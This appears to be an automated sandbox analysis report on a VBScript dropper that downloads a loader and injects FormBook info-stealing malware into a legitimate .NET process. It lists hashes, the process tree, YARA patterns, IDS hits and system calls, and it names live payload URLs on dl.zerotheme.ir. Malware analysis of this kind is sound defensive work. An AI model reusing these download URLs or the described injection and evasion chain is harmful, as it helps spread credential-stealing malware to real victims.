Joe Sandbox Cloud Basic Analysis Report

Loading Joe Sandbox Report ...

Edit tour

Windows Analysis Report
QT2Q1292300924.vbs

Overview

General Information

Sample name:QT2Q1292300924.vbs
Analysis ID:1522524
MD5:89aa513b7cfd714c24c50f05eb9481e5
SHA1:41423bffc04045cb290ee12b2fd6c9b1b04f0b17
SHA256:4bb4cdefee252662fa8e54be243b7fe819bccc08d69c206bcf8633588615090f
Tags:vbsuser-abuse_ch
Infos:

Detection

FormBook
Score:100
Range:0 - 100
Whitelisted:false
Confidence:100%

Signatures

Antivirus detection for dropped file
Benign windows process drops PE files
Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for domain / URL
Multi AV Scanner detection for dropped file
Multi AV Scanner detection for submitted file
VBScript performs obfuscated calls to suspicious functions
Yara detected FormBook
AI detected suspicious sample
Allocates memory in foreign processes
Contains functionality to check if a debugger is running (CheckRemoteDebuggerPresent)
Injects a PE file into a foreign processes
Machine Learning detection for dropped file
Potential malicious VBS script found (has network functionality)
Sigma detected: WScript or CScript Dropper
Windows Scripting host queries suspicious COM object (likely to drop second stage)
Writes to foreign memory regions
Allocates memory with a write watch (potentially for evading sandboxes)
Checks if the current process is being debugged
Contains functionality for execution timing, often used to detect debuggers
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)
Contains functionality to call native functions
Contains functionality to read the PEB
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Detected potential crypto function
Drops PE files
Found WSH timer for Javascript or VBS script (likely evasive script)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found inlined nop instructions (likely shell or obfuscated code)
Found large amount of non-executed APIs
Found potential string decryption / allocating functions
HTTP GET or POST without a user agent
JA3 SSL client fingerprint seen in connection with other malware
Java / VBScript file with very long strings (likely obfuscated code)
May sleep (evasive loops) to hinder dynamic analysis
Queries the volume information (name, serial number etc) of a device
Sigma detected: AspNetCompiler Execution
Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript
Suricata IDS alerts with low severity for network traffic
Uses code obfuscation techniques (call, push, ret)
Yara signature match

Classification

Process Tree

  • System is w10x64
  • wscript.exe (PID: 1856 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\QT2Q1292300924.vbs" MD5: A47CBE969EA935BDD3AB568BB126BC80)
    • temp_exec.exe (PID: 3840 cmdline: "C:\Users\user\AppData\Local\Temp\temp_exec.exe" MD5: 055742AC290225D245F94E168DC06A76)
      • aspnet_compiler.exe (PID: 2676 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe" MD5: FDA8C8F2A4E100AFB14C13DFCBCAB2D2)
      • aspnet_compiler.exe (PID: 5840 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe" MD5: FDA8C8F2A4E100AFB14C13DFCBCAB2D2)
  • cleanup

Malware Threat Intel

Provided by

NameDescriptionAttributionBlogpost URLsLink
Formbook, FormboFormBook contains a unique crypter RunPE that has unique behavioral patterns subject to detection. It was initially called "Babushka Crypter" by Insidemalware.
  • SWEED
  • Cobalt
https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook

Malware Configuration

⊘No configs have been found

Yara Signatures

Memory Dumps

SourceRuleDescriptionAuthorStrings
00000004.00000002.2136321349.0000000000E30000.00000004.00001000.00020000.00000000.sdmpJoeSecurity_FormBook_1Yara detected FormBookJoe Security
    00000004.00000002.2136321349.0000000000E30000.00000004.00001000.00020000.00000000.sdmpWindows_Trojan_Formbook_1112e116unknownunknown
    • 0x2b950:$a2: 74 0A 4E 0F B6 08 8D 44 08 01 75 F6 8D 70 01 0F B6 00 8D 55
    • 0x13c4f:$a3: 1A D2 80 E2 AF 80 C2 7E EB 2A 80 FA 2F 75 11 8A D0 80 E2 01
    00000004.00000002.2136079152.0000000000400000.00000040.00000400.00020000.00000000.sdmpJoeSecurity_FormBook_1Yara detected FormBookJoe Security
      00000004.00000002.2136079152.0000000000400000.00000040.00000400.00020000.00000000.sdmpWindows_Trojan_Formbook_1112e116unknownunknown
      • 0x2ea43:$a2: 74 0A 4E 0F B6 08 8D 44 08 01 75 F6 8D 70 01 0F B6 00 8D 55
      • 0x16d42:$a3: 1A D2 80 E2 AF 80 C2 7E EB 2A 80 FA 2F 75 11 8A D0 80 E2 01

      Unpacked PEs

      SourceRuleDescriptionAuthorStrings
      4.2.aspnet_compiler.exe.400000.0.unpackJoeSecurity_FormBook_1Yara detected FormBookJoe Security
        4.2.aspnet_compiler.exe.400000.0.unpackWindows_Trojan_Formbook_1112e116unknownunknown
        • 0x2dc43:$a2: 74 0A 4E 0F B6 08 8D 44 08 01 75 F6 8D 70 01 0F B6 00 8D 55
        • 0x15f42:$a3: 1A D2 80 E2 AF 80 C2 7E EB 2A 80 FA 2F 75 11 8A D0 80 E2 01
        4.2.aspnet_compiler.exe.400000.0.raw.unpackJoeSecurity_FormBook_1Yara detected FormBookJoe Security
          4.2.aspnet_compiler.exe.400000.0.raw.unpackWindows_Trojan_Formbook_1112e116unknownunknown
          • 0x2ea43:$a2: 74 0A 4E 0F B6 08 8D 44 08 01 75 F6 8D 70 01 0F B6 00 8D 55
          • 0x16d42:$a3: 1A D2 80 E2 AF 80 C2 7E EB 2A 80 FA 2F 75 11 8A D0 80 E2 01

          Sigma Signatures

          System Summary

          barindex
          Sigma detected: WScript or CScript Dropper
          Source: Process startedAuthor: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\QT2Q1292300924.vbs", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\QT2Q1292300924.vbs", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 1028, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\QT2Q1292300924.vbs", ProcessId: 1856, ProcessName: wscript.exe
          Sigma detected: AspNetCompiler Execution
          Source: Process startedAuthor: frack113: Data: Command: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe", CommandLine: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe", CommandLine|base64offset|contains: , Image: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe, NewProcessName: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe, OriginalFileName: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe, ParentCommandLine: "C:\Users\user\AppData\Local\Temp\temp_exec.exe" , ParentImage: C:\Users\user\AppData\Local\Temp\temp_exec.exe, ParentProcessId: 3840, ParentProcessName: temp_exec.exe, ProcessCommandLine: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe", ProcessId: 2676, ProcessName: aspnet_compiler.exe
          Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript
          Source: Process startedAuthor: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\QT2Q1292300924.vbs", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\QT2Q1292300924.vbs", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 1028, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\QT2Q1292300924.vbs", ProcessId: 1856, ProcessName: wscript.exe

          Suricata Signatures

          TimestampSIDSeverityClasstypeSource IPSource PortDestination IPDestination PortProtocol
          2024-09-30T10:03:30.081361+020028033053Unknown Traffic192.168.2.549705185.18.213.20443TCP

          Joe Sandbox Signatures

          Click to jump to signature section

          Show All Signature Results

          AV Detection

          barindex
          Antivirus detection for dropped file
          Source: C:\Users\user\AppData\Local\Temp\temp_exec.exeAvira: detection malicious, Label: HEUR/AGEN.1337357
          Multi AV Scanner detection for domain / URL
          Source: dl.zerotheme.irVirustotal: Detection: 10%Perma Link
          Source: https://dl.zerotheme.ir/kokorila/cgl-bin/bina.exeVirustotal: Detection: 10%Perma Link
          Source: http://dl.zerotheme.irVirustotal: Detection: 10%Perma Link
          Source: https://dl.zerotheme.ir/kokorila/cgl-bin/bina.exebhttps://dl.zerotheme.ir/kokorila/cgl-bin/DLLL.dllVirustotal: Detection: 9%Perma Link
          Multi AV Scanner detection for dropped file
          Source: C:\Users\user\AppData\Local\Temp\temp_exec.exeVirustotal: Detection: 20%Perma Link
          Multi AV Scanner detection for submitted file
          Source: QT2Q1292300924.vbsVirustotal: Detection: 16%Perma Link
          Yara detected FormBook
          Source: Yara matchFile source: 4.2.aspnet_compiler.exe.400000.0.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 4.2.aspnet_compiler.exe.400000.0.raw.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 00000004.00000002.2136321349.0000000000E30000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000004.00000002.2136079152.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
          AI detected suspicious sample
          Source: Submited SampleIntegrated Neural Analysis Model: Matched 100.0% probability
          Machine Learning detection for dropped file
          Source: C:\Users\user\AppData\Local\Temp\temp_exec.exeJoe Sandbox ML: detected
          Source: unknownHTTPS traffic detected: 185.18.213.20:443 -> 192.168.2.5:49704 version: TLS 1.2
          Source: Binary string: C:\Users\Administrator\Documents\CryptoObfuscator_Output\DEMONCODER.pdb source: temp_exec.exe, 00000002.00000002.2093264557.0000000003059000.00000004.00000800.00020000.00000000.sdmp, temp_exec.exe, 00000002.00000002.2093264557.0000000003051000.00000004.00000800.00020000.00000000.sdmp, temp_exec.exe, 00000002.00000002.2094437417.00000000063D0000.00000004.08000000.00040000.00000000.sdmp
          Source: Binary string: C:\Users\owner\Documents\CryptoObfuscator_Output\PAPANKEMOUWO.pdbBSJB source: wscript.exe, 00000000.00000003.2094663386.000001FB086CD000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2039085494.000001FB0842F000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2039009216.000001FB06349000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.2097713684.000001FB08A70000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2038332027.000001FB08426000.00000004.00000020.00020000.00000000.sdmp, temp_exec.exe, 00000002.00000000.2047235189.0000000000C92000.00000002.00000001.01000000.00000006.sdmp, temp_exec.exe.0.dr
          Source: Binary string: wntdll.pdbUGP source: aspnet_compiler.exe, 00000004.00000002.2136494432.0000000001320000.00000040.00001000.00020000.00000000.sdmp
          Source: Binary string: C:\Users\Administrator\Documents\CryptoObfuscator_Output\DEMONCODER.pdbBSJB source: temp_exec.exe, 00000002.00000002.2093264557.0000000003059000.00000004.00000800.00020000.00000000.sdmp, temp_exec.exe, 00000002.00000002.2093264557.0000000003051000.00000004.00000800.00020000.00000000.sdmp, temp_exec.exe, 00000002.00000002.2094437417.00000000063D0000.00000004.08000000.00040000.00000000.sdmp
          Source: Binary string: wntdll.pdb source: aspnet_compiler.exe, aspnet_compiler.exe, 00000004.00000002.2136494432.0000000001320000.00000040.00001000.00020000.00000000.sdmp
          Source: Binary string: C:\Users\owner\Documents\CryptoObfuscator_Output\PAPANKEMOUWO.pdb source: wscript.exe, 00000000.00000003.2094663386.000001FB086CD000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2039085494.000001FB0842F000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2039009216.000001FB06349000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.2097713684.000001FB08A70000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2038332027.000001FB08426000.00000004.00000020.00020000.00000000.sdmp, temp_exec.exe, 00000002.00000000.2047235189.0000000000C92000.00000002.00000001.01000000.00000006.sdmp, temp_exec.exe.0.dr
          Source: C:\Users\user\AppData\Local\Temp\temp_exec.exeCode function: 4x nop then mov dword ptr [ebp-20h], 00000000h2_2_014E3B28
          Source: C:\Users\user\AppData\Local\Temp\temp_exec.exeCode function: 4x nop then mov dword ptr [ebp-20h], 00000000h2_2_014E493D
          Source: C:\Users\user\AppData\Local\Temp\temp_exec.exeCode function: 4x nop then mov dword ptr [ebp-20h], 00000000h2_2_014E3B4C
          Source: C:\Users\user\AppData\Local\Temp\temp_exec.exeCode function: 4x nop then mov dword ptr [ebp-20h], 00000000h2_2_014E3B64
          Source: C:\Users\user\AppData\Local\Temp\temp_exec.exeCode function: 4x nop then mov dword ptr [ebp-20h], 00000000h2_2_014E3BB7
          Source: C:\Users\user\AppData\Local\Temp\temp_exec.exeCode function: 4x nop then mov dword ptr [ebp-20h], 00000000h2_2_014E5244
          Source: C:\Users\user\AppData\Local\Temp\temp_exec.exeCode function: 4x nop then mov dword ptr [ebp-20h], 00000000h2_2_014E4E75

          Networking

          barindex
          Potential malicious VBS script found (has network functionality)
          Source: Initial file: fileStream.SaveToFile path, 2 ' Overwrite existing file
          Source: global trafficHTTP traffic detected: GET /kokorila/cgl-bin/bina.exe HTTP/1.1Host: dl.zerotheme.irConnection: Keep-Alive
          Source: global trafficHTTP traffic detected: GET /kokorila/cgl-bin/DLLL.dll HTTP/1.1Host: dl.zerotheme.ir
          Source: Joe Sandbox ViewJA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e
          Source: Network trafficSuricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:49705 -> 185.18.213.20:443
          Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
          Source: global trafficHTTP traffic detected: GET /kokorila/cgl-bin/bina.exe HTTP/1.1Host: dl.zerotheme.irConnection: Keep-Alive
          Source: global trafficHTTP traffic detected: GET /kokorila/cgl-bin/DLLL.dll HTTP/1.1Host: dl.zerotheme.ir
          Source: global trafficDNS traffic detected: DNS query: dl.zerotheme.ir
          Source: wscript.exe, 00000000.00000003.2094663386.000001FB086CD000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2039085494.000001FB0842F000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2039009216.000001FB06349000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.2097713684.000001FB08A70000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2038332027.000001FB08426000.00000004.00000020.00020000.00000000.sdmp, temp_exec.exe.0.drString found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
          Source: wscript.exe, 00000000.00000003.2094663386.000001FB086CD000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2039085494.000001FB0842F000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2039009216.000001FB06349000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.2097713684.000001FB08A70000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2038332027.000001FB08426000.00000004.00000020.00020000.00000000.sdmp, temp_exec.exe.0.drString found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crt0
          Source: wscript.exe, 00000000.00000003.2094663386.000001FB086CD000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2039085494.000001FB0842F000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2039009216.000001FB06349000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.2097713684.000001FB08A70000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2038332027.000001FB08426000.00000004.00000020.00020000.00000000.sdmp, temp_exec.exe.0.drString found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
          Source: wscript.exe, 00000000.00000003.2094663386.000001FB086CD000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2039085494.000001FB0842F000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2039009216.000001FB06349000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.2097713684.000001FB08A70000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2038332027.000001FB08426000.00000004.00000020.00020000.00000000.sdmp, temp_exec.exe.0.drString found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
          Source: wscript.exe, 00000000.00000003.2094663386.000001FB086CD000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2039085494.000001FB0842F000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2039009216.000001FB06349000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.2097713684.000001FB08A70000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2038332027.000001FB08426000.00000004.00000020.00020000.00000000.sdmp, temp_exec.exe.0.drString found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
          Source: wscript.exe, 00000000.00000003.2094663386.000001FB086CD000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2039085494.000001FB0842F000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2039009216.000001FB06349000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.2097713684.000001FB08A70000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2038332027.000001FB08426000.00000004.00000020.00020000.00000000.sdmp, temp_exec.exe.0.drString found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0S
          Source: wscript.exe, 00000000.00000003.2094663386.000001FB086CD000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2039085494.000001FB0842F000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2039009216.000001FB06349000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.2097713684.000001FB08A70000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2038332027.000001FB08426000.00000004.00000020.00020000.00000000.sdmp, temp_exec.exe.0.drString found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
          Source: temp_exec.exe.0.drString found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
          Source: wscript.exe, 00000000.00000003.2094663386.000001FB086CD000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2039085494.000001FB0842F000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2039009216.000001FB06349000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.2097713684.000001FB08A70000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2038332027.000001FB08426000.00000004.00000020.00020000.00000000.sdmp, temp_exec.exe.0.drString found in binary or memory: http://crl4.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0
          Source: temp_exec.exe, 00000002.00000002.2093264557.0000000002FB2000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://dl.zerotheme.ir
          Source: temp_exec.exe, 00000002.00000002.2093264557.0000000002FB2000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://dl.zerotheme.ird
          Source: wscript.exe, 00000000.00000003.2094663386.000001FB086CD000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2039085494.000001FB0842F000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2039009216.000001FB06349000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.2097713684.000001FB08A70000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2038332027.000001FB08426000.00000004.00000020.00020000.00000000.sdmp, temp_exec.exe.0.drString found in binary or memory: http://ocsp.digicert.com0
          Source: wscript.exe, 00000000.00000003.2094663386.000001FB086CD000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2039085494.000001FB0842F000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2039009216.000001FB06349000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.2097713684.000001FB08A70000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2038332027.000001FB08426000.00000004.00000020.00020000.00000000.sdmp, temp_exec.exe.0.drString found in binary or memory: http://ocsp.digicert.com0A
          Source: wscript.exe, 00000000.00000003.2094663386.000001FB086CD000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2039085494.000001FB0842F000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2039009216.000001FB06349000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.2097713684.000001FB08A70000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2038332027.000001FB08426000.00000004.00000020.00020000.00000000.sdmp, temp_exec.exe.0.drString found in binary or memory: http://ocsp.digicert.com0C
          Source: wscript.exe, 00000000.00000003.2094663386.000001FB086CD000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2039085494.000001FB0842F000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2039009216.000001FB06349000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.2097713684.000001FB08A70000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2038332027.000001FB08426000.00000004.00000020.00020000.00000000.sdmp, temp_exec.exe.0.drString found in binary or memory: http://ocsp.digicert.com0X
          Source: temp_exec.exe, 00000002.00000002.2093264557.0000000002F9B000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
          Source: wscript.exe, 00000000.00000003.2094663386.000001FB086CD000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2039085494.000001FB0842F000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2039009216.000001FB06349000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.2097713684.000001FB08A70000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2038332027.000001FB08426000.00000004.00000020.00020000.00000000.sdmp, temp_exec.exe.0.drString found in binary or memory: http://www.digicert.com/CPS0
          Source: temp_exec.exe, 00000002.00000002.2093264557.0000000002FAC000.00000004.00000800.00020000.00000000.sdmp, temp_exec.exe, 00000002.00000002.2093264557.0000000002F9B000.00000004.00000800.00020000.00000000.sdmp, temp_exec.exe, 00000002.00000002.2093264557.0000000002FF5000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://dl.zerotheme.ir
          Source: temp_exec.exe, 00000002.00000002.2093264557.0000000002F9B000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://dl.zerotheme.ir/kokorila/cgl-bin/DLLL.dll
          Source: temp_exec.exe, 00000002.00000002.2093264557.0000000002FF5000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://dl.zerotheme.ir/kokorila/cgl-bin/bina.exe
          Source: temp_exec.exe, 00000002.00000002.2093264557.0000000002ECD000.00000004.00000800.00020000.00000000.sdmp, temp_exec.exe, 00000002.00000002.2093264557.0000000002EE3000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://dl.zerotheme.ir/kokorila/cgl-bin/bina.exebhttps://dl.zerotheme.ir/kokorila/cgl-bin/DLLL.dll
          Source: unknownNetwork traffic detected: HTTP traffic on port 49705 -> 443
          Source: unknownNetwork traffic detected: HTTP traffic on port 49704 -> 443
          Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49705
          Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49704
          Source: unknownHTTPS traffic detected: 185.18.213.20:443 -> 192.168.2.5:49704 version: TLS 1.2

          E-Banking Fraud

          barindex
          Yara detected FormBook
          Source: Yara matchFile source: 4.2.aspnet_compiler.exe.400000.0.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 4.2.aspnet_compiler.exe.400000.0.raw.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 00000004.00000002.2136321349.0000000000E30000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000004.00000002.2136079152.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY

          System Summary

          barindex
          Malicious sample detected (through community Yara rule)
          Source: 4.2.aspnet_compiler.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
          Source: 4.2.aspnet_compiler.exe.400000.0.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
          Source: 00000004.00000002.2136321349.0000000000E30000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
          Source: 00000004.00000002.2136079152.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
          Windows Scripting host queries suspicious COM object (likely to drop second stage)
          Source: C:\Windows\System32\wscript.exeCOM Object queried: ADODB.Stream HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{00000566-0000-0010-8000-00AA006D2EA4}Jump to behavior
          Source: C:\Windows\System32\wscript.exeCOM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}Jump to behavior
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_0042BDA3 NtClose,4_2_0042BDA3
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_01392DF0 NtQuerySystemInformation,LdrInitializeThunk,4_2_01392DF0
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_01392C70 NtFreeVirtualMemory,LdrInitializeThunk,4_2_01392C70
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_013935C0 NtCreateMutant,LdrInitializeThunk,4_2_013935C0
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_01394340 NtSetContextThread,4_2_01394340
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_01394650 NtSuspendThread,4_2_01394650
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_01392B60 NtClose,4_2_01392B60
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_01392BA0 NtEnumerateValueKey,4_2_01392BA0
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_01392B80 NtQueryInformationFile,4_2_01392B80
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_01392BF0 NtAllocateVirtualMemory,4_2_01392BF0
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_01392BE0 NtQueryValueKey,4_2_01392BE0
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_01392AB0 NtWaitForSingleObject,4_2_01392AB0
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_01392AF0 NtWriteFile,4_2_01392AF0
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_01392AD0 NtReadFile,4_2_01392AD0
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_01392D30 NtUnmapViewOfSection,4_2_01392D30
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_01392D10 NtMapViewOfSection,4_2_01392D10
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_01392D00 NtSetInformationFile,4_2_01392D00
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_01392DB0 NtEnumerateKey,4_2_01392DB0
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_01392DD0 NtDelayExecution,4_2_01392DD0
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_01392C00 NtQueryInformationProcess,4_2_01392C00
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_01392C60 NtCreateKey,4_2_01392C60
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_01392CA0 NtQueryInformationToken,4_2_01392CA0
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_01392CF0 NtOpenProcess,4_2_01392CF0
